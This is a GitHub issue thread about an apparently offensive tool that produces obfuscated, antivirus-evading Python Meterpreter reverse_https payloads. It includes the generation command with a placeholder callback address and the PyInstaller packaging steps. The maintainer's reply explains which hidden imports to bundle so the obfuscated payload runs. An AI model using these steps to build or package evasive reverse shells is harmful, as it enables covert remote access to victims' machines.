Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Error on execution the generated file #2

Closed
tehseensagar opened this issue Mar 20, 2018 · 1 comment
Closed

Error on execution the generated file #2

tehseensagar opened this issue Mar 20, 2018 · 1 comment
Assignees

Comments

@tehseensagar
Copy link

Getting bunch of errors tried on both OS windows and Linux with pyinstaller and direct python file.

Steps:

python pyfud.py -p python/meterpreter/reverse_https -a x.x.x.x -l 443 -o fud.py

pyinstaller on Linux

pyinstaller --noconsole --onefile fud.py

python dist/fud

OR

python fud.py

Same Below error

Traceback (most recent call last):
File "fud.py", line 1, in
vMjM3Mik....')))
File "", line 1, in
File "", line 13, in
File "/usr/lib/python2.7/urllib2.py", line 429, in open
response = self._open(req, data)
File "/usr/lib/python2.7/urllib2.py", line 447, in _open
'_open', req)
File "/usr/lib/python2.7/urllib2.py", line 407, in _call_chain
result = func(*args)
File "/usr/lib/python2.7/urllib2.py", line 1241, in https_open
context=self._context)
File "/usr/lib/python2.7/urllib2.py", line 1198, in do_open
raise URLError(err)
urllib2.URLError: <urlopen error [Errno 111] Connection refused>

Even tried it on windows but same issue

Regards
Tehseen

@kkar kkar self-assigned this Mar 21, 2018
@kkar
Copy link
Owner

kkar commented Mar 21, 2018

@tehseensagar you should tell PyInstaller to include the following packages (they are the MSF payload's imports), since they are not imported automatically because it can not detect them due to obfuscation.

  • binascii
  • code
  • os
  • platform
  • random
  • re
  • select
  • socket
  • struct
  • subprocess
  • sys
  • threading
  • time
  • traceback

You can verify those imports by printing the decoded variable in msfud.py.
Here is a link to help you understand the package-inclusion process with PyInstaller.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants